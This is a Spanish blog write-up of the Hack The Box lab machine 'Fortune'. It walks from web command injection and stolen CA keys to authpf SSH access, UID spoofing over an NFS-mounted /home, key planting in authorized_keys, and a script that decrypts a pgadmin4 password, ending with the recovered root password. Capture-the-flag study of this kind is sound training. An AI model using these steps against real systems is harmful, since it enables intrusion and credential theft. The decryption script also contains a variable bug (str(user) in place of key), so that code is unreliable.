This page looks best with JavaScript enabled

Hack The Box - Fortune

 •  ✍️ sckull

Realizamos Command Injection en la pagina web lo que nos guió a certificados los cuales utilizamos para generar uno nuevo y acceder a una nueva pagina restringida, la que nos permitía generar claves SSH para Authpf, con este ultimo encontramos el puerto NFS que nos permitió obtener acceso por SSH. Finalmente encontramos y crackeamos un hash de una base de datos para escalar privilegios.

Informacion de la Maquina

Nombre Fortune box_img_maker
OS Other
Puntos 50
Dificultad Insane
IP 10.10.10.127
Maker

AuxSarge

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[8.1, 7.7, 4.3, 5.7, 2.3],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[8, 9, 1, 9, 1],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

NMAP

Al realizar un escaneo con nmap.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# Nmap 7.70 scan initiated Wed Mar 13 22:48:02 2019 as: nmap -sV -sC -A -o nmap.scan 10.10.10.127
Nmap scan report for 10.10.10.127
Host is up (0.17s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE    VERSION
22/tcp  open  ssh        OpenSSH 7.9 (protocol 2.0)
| ssh-hostkey: 
|   2048 07:ca:21:f4:e0:d2:c6:9e:a8:f7:61:df:d7:ef:b1:f4 (RSA)
|   256 30:4b:25:47:17:84:af:60:e2:80:20:9d:fd:86:88:46 (ECDSA)
|_  256 93:56:4a:ee:87:9d:f6:5b:f9:d9:25:a6:d8:e0:08:7e (ED25519)
80/tcp  open  http       OpenBSD httpd
|_http-server-header: OpenBSD httpd
|_http-title: Fortune
443/tcp open  ssl/https?
|_ssl-date: TLS randomness does not represent time
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.70%E=4%D=3/13%OT=22%CT=1%CU=40048%PV=Y%DS=2%DC=T%G=Y%TM=5C89893
OS:B%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10D%TI=RD%CI=RI%TS=22)OPS(O
OS:1=M54DNNSNW6NNT11%O2=M54DNNSNW6NNT11%O3=M54DNW6NNT11%O4=M54DNNSNW6NNT11%
OS:O5=M54DNNSNW6NNT11%O6=M54DNNSNNT11)WIN(W1=4000%W2=4000%W3=4000%W4=4000%W
OS:5=4000%W6=4000)ECN(R=Y%DF=Y%T=40%W=4000%O=M54DNNSNW6%CC=N%Q=)T1(R=Y%DF=Y
OS:%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=S%F
OS:=AR%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=A%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y
OS:%T=40%W=0%S=A%A=S%F=AR%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=FF%IPL=38%UN=0%RI
OS:PL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=N)

HTTPS

Al visitar la pagina nos encontramos con lo siguiente, por lo que no podemos hacer nada por ahora.
image

HTTP

Con gobuster encontramos la siguiente ruta.

1
/fortune (Status: 301)

Utilizamos firefox para ver las peticiones que hace cuando enviamos una solicitud a una de las opciones, en cada opcion si se hace una peticion este nos devuelve de manera aleatoria un mensaje.

image
image

Y encontramos que, al editar las peticiones (POST db=fortunes), encontramos que podemos ejecutar comandos (RCE):

image

Al realizar una enumeracion de carpeta y archivos encontramos en la carpeta del usuario bob (/home/bob/) certificados que pueden pertenecen a la pagina web https.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
/home/bob
├── ca
│   ├── certs
│   │   └── ca.cert.pem
│   ├── crl
│   ├── index.txt
│   ├── index.txt.attr
│   ├── index.txt.old
│   ├── intermediate
│   │   ├── certs
│   │   │   ├── ca-chain.cert.pem
│   │   │   ├── fortune.htb.cert.pem
│   │   │   └── intermediate.cert.pem
│   │   ├── crl
│   │   ├── crlnumber
│   │   ├── csr
│   │   │   ├── fortune.htb.csr.pem
│   │   │   └── intermediate.csr.pem
│   │   ├── index.txt
│   │   ├── index.txt.attr
│   │   ├── newcerts
│   │   │   └── 1000.pem
│   │   ├── openssl.cnf
│   │   ├── private
│   │   │   ├── fortune.htb.key.pem
│   │   │   └── intermediate.key.pem
│   │   ├── serial
│   │   └── serial.old
│   ├── newcerts
│   │   └── 1000.pem
│   ├── openssl.cnf
│   ├── private [error opening dir]
│   ├── serial
│   └── serial.old
└── dba
    └── authpf.sql

La razon por la cual no podamos acceder a la pagina https es porque no tenemos el certificado de la misma, esta es una grafica de como funciona un certificado.

certsuperior - Certificados

Oracle - certificados

IMAGE

Para poder acceder a la pagina debemos de crear nuestro archivo pkc12 el cual contiene el certificado y la clave, copiamos a nuestra maquina local los archivos intermediate.cert.pem e intermediate.key.pem, utilizando openssl generamos el certificado con el siguiente comando:

ssl - Certificate File

ibm - Certificate

1
openssl pkcs12 -export -out cert.p12 -in intermediate.cert.pem -inkey intermediate.key.pem -passin pass:root -passout pass:root

image

Obtenemos el certificado y lo importamos a nuestro navegador en las configuraciones de certificado.

image

Visitamos la pagina en https y nos muestra lo siguiente:

image

image

Al visitar la pagina /generate nos muestra una clave publica agregada al los archivos de autorizacion ssh de la maquina y una clave privada con la cual nos podemos conectar al mismo.

image

Nos conectamos al servicio ssh con la clave generada y el usuario nfsuser, nos muestra el siguiente mensaje, pero nuestra shell no es interactiva:

image

Al revisar los procesos que corren en la maquina nos muestra un servicio de authpf:

image

Segun la documentacion de openbsd sobre Authpf nos dice que “es un intérprete (shell) para pasarelas de autenticación. Una pasarela de autenticación es como una pasarela de red normal (también llamada enrutador), con la diferencia que “los usuarios se deben autenticar ante la pasarela” antes de que se permita que pase el tráfico a través de ésta”.

openbsd - authpf

autphf - español

Las reglas de authpf /etc/authpf/authpf.rules nos muestran que cualquier usuario ip ($user_ip) en este caso nfsuser le de paso o permiso en los protocolos tcp udp.

1
2
ext_if = "em0"
pass in quick on $ext_if inet proto { tcp udp } from $user_ip to ($ext_if) keep state

Sabiendo que tenemos acceso a los protocolos tcp y udp volvemos a hacer un escaneo de puertos y encontramos los siguientes puertos abiertos:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-21 04:58 GMT
Nmap scan report for 10.10.10.127
Host is up (0.18s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.9 (protocol 2.0)
80/tcp   open  http       OpenBSD httpd
111/tcp  open  rpcbind    2 (RPC #100000)
443/tcp  open  ssl/https?
2049/tcp open  nfs        2-3 (RPC #100003)
8081/tcp open  http       OpenBSD httpd

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 38.31 seconds

Encontramos que hay un servicio rpcbind y nfs que estan corriendo en la maquina, escaneamos el servicio rpcbind:

RPCBIND

Encontramos que el servicio NFS esta corriendo tanto en tcp y udp, por lo que podemos montar los share name de la maquina localmente.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
root@sckull:~/htb/fortune# rpcinfo -p 10.10.10.127
   program vers proto   port  service
    100000    2   tcp    111  portmapper
    100000    2   udp    111  portmapper
    100005    1   udp    694  mountd
    100005    3   udp    694  mountd
    100005    1   tcp    944  mountd
    100005    3   tcp    944  mountd
    100003    2   udp   2049  nfs
    100003    3   udp   2049  nfs
    100003    2   tcp   2049  nfs
    100003    3   tcp   2049  nfs
root@sckull:~/htb/fortune# 

NFS

Al revisar los puntos compartidos obtenemos que /home puede ser montado

1
2
3
4
root@sckull:~/htb/fortune# showmount -e 10.10.10.127
Export list for 10.10.10.127:
/home (everyone)
root@sckull:~/htb/fortune# 

ACCESO a /home

Para acceder a la carpeta /home debemos montarlo localmente y asi poder acceder a las carpetas y archivos que se encuentran dentro.

1
2
3
4
root@sckull:~/htb/fortune# mkdir tmp_nfs
root@sckull:~/htb/fortune# mount -t nfs 10.10.10.127:/home /root/htb/fortune/tmp_nfs
root@sckull:~/htb/fortune# ls tmp_nfs/
bob  charlie  nfsuser

Observamos que hay tres usuarios de los cuales bob ya conocemos su interior, mas no el de charlie y nfsuser:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
root@sckull:~/htb/fortune# ls -lah tmp_nfs/nfsuser/
total 16K
drwxr-xr-x 2 1002 1002 512 Nov  3 02:39 .
drwxr-xr-x 5 root root 512 Nov  3 01:19 ..
-rw-r--r-- 1 1002 1002 771 Oct 11 20:18 .cshrc
-rw-r--r-- 1 1002 1002 101 Oct 11 20:18 .cvsrc
-rw-r--r-- 1 1002 1002 359 Oct 11 20:18 .login
-rw-r--r-- 1 1002 1002 175 Oct 11 20:18 .mailrc
-rw-r--r-- 1 1002 1002 215 Oct 11 20:18 .profile
-rw-r--r-- 1 1002 1002  87 Oct 11 20:18 .Xdefaults
root@sckull:~/htb/fortune# ls -lah tmp_nfs/charlie/
ls: cannot open directory 'tmp_nfs/charlie/': Permission denied
root@sckull:~/htb/fortune# 

Podemos ver que a la carpeta del usuario charlie no tenemos acceso, para ello vamos a crear un usuario localmente y un grupo para poder acceder al interior, utilizamos stat para ver informacion de la carpeta, con lo cual vemos que /home/charlie tiene propiedades uid: 1000 y gid:1000.

1
2
3
4
5
6
7
8
9
root@sckull:~/htb/fortune# stat tmp_nfs/charlie/
  File: tmp_nfs/charlie/
  Size: 512       	Blocks: 4          IO Block: 32768  directory
Device: 31h/49d	Inode: 27648       Links: 3
Access: (0750/drwxr-x---)  Uid: ( 1000/ UNKNOWN)   Gid: ( 1000/ UNKNOWN)
Access: 2019-03-21 05:17:35.827314870 +0000
Modify: 2019-03-21 05:33:05.655948328 +0000
Change: 2019-03-21 05:33:05.655948328 +0000
 Birth: -

Creamos un usuario y grupo local para charlie:

1
2
3
root@kali:~# groupadd --gid 1000 charlie_group
root@kali:~# useradd --uid 1000 --groups charlie_group charlie_user
root@kali:~# sudo -u charlie_user ls -l tmp_nfs/charlie

Con ello logramos acceder y obtener tambien nuestra bandera user.txt.

image

image

Ahora que tenemos acceso a la carpeta de charlie podemos agregar nuestra clave ssh a authorized_keys para poder logearnos con el servicio ssh como charlie.

image

De la misma forma para el usuario bob:

image

ESCALACION DE PRIVILEGIOS

Dentro de la carpeta charlie nos encontramos con un archivo mbox, que contiene un mensaje de bob para charlie.

image

Nos dice que bob cambio la contraseña para el usuario dba es la misma que la del usuario root, haciendo una enumeracion de carpetas y archivos nos encontramos un archivo pgadmin4.db que contiene tablas que le pertenecen a pgadmin3.4, utilizando sqlite db browser, dentro de este archivo encontramos una contraseña y usuario dba especificamente en la tabla de server, tambien una tabla que contiene usuario y contraseña de bob y charlie.

Ruta del archivo:

1
/var/appsrv/pgadmin4/pgadmin4.db

image

Tambien encontramos la ruta donde se encuentran los documentos de pgadmin dentro del archivo pgadmin4.ini:

image

dba
image

bob y charlie
image

Usuario ROOT

En la ruta de pgadmin4 local (/usr/local/pgadmin4/pgadmin4-3.4/web/utils/), encontramos un archivo llamado crypto.py, en su interior encontramos funciones las cuales encriptan y desencriptan contraseñas (encrypt(), decrypt(), pad(), pqencryptpassword()), la funcion de encrypt() necesita un texto y una clave, la funcion decrypt() el texto encriptado (ciphertext) anteriormente con la funcion encrypt() y la clave, con estas dos funciones y la contraseña que se encuentra en la tabla de server del usuario dba, podemos intentar desencriptarla solo nos falta la clave (key).

Dentro de la base de datos (pgadmin4.db) encontramos algunas claves (tabla -> keys) que podriamos utilizar para la funcion decrypt(), de igual forma los usuarios (tabla -> users) y contraseñas (tabla -> users).

Localmente agregamos el siguiente codigo a nuestro archivo crypto.py:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
if __name__ == '__main__':

    list_keys = ['root','operator','www','postgresql','pgadmin4','fortune','charlie',
                  'bob','nfsuser','authpf','admin','administrator','pgadmin3','Administrator','bob@fortune.htb',
                  'charlie@fortune.htb','user','saQWKx5BCyVZMH2weOiNv3Dsvzh4GchPM16kwBRYPxs=',
                  'R_EFY1hb236guS3jNq1aHyPcruXbjk7Ff-QwL6PMqJM=','qIhAhRt3xq_dzIEqyJQFmWnymFbO1cZVhbQaTWA-v9Q=',
                  'dba','postgres','$pbkdf2-sha512$25000$3hvjXAshJKQUYgxhbA0BYA$iuBYZKTTtTO.cwSvMwPAYlhXRZw8aAn9gBtyNQW3Vge23gNUMe95KqiAyf37.v1lmCunWVkmfr93Wi6.W.UzaQ',
                  '$pbkdf2-sha512$25000$z9nbm1Oq9Z5TytkbQ8h5Dw$Vtx9YWQsgwdXpBnsa8BtO5kLOdQGflIZOQysAy7JdTVcRbv/6csQHAJCAIJT9rLFBawClFyMKnqKNL5t3Le9vg']
    
    pass_dba = "utUU0jkamCZDmqFLOrAuPjFxL0zp8zWzISe5MF0GY/l8Silrmu3caqrtjaVjLQlvFFEgESGz"
    
    for key in list_keys:
        k = str(user)
        r = decrypt(pass_dba, k)
        print(k +' : ' + r)

Esta porcion de codigo contiene una lista de las claves (keys) probables para la contraseña (pass_dba) del usuario dba que corresponde igualmente para el usuario root, dentro de las claves tambien encontramos usuarios, ya que una key podria ser o no el nombre de un usuario, de igual manera agregamos las contraseñas de la base de datos de los usuarios bob y charlie. En resumen agregamos a la lista todas las posibles claves que encontramos dentro de la maquina. Al correr nuestro script obtenemos el siguente resultado:

image

Nuestra contraseña para el usuario dba y para root es R3us3-0f-a-P4ssw0rdl1k3th1s?_B4D.ID3A!, la clave que fue satisfactoria fue una contraseña en este caso la contraseña de bob que se encuentra en la base de datos. Asi obtenemos nuestra bandera root.txt.

image

Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe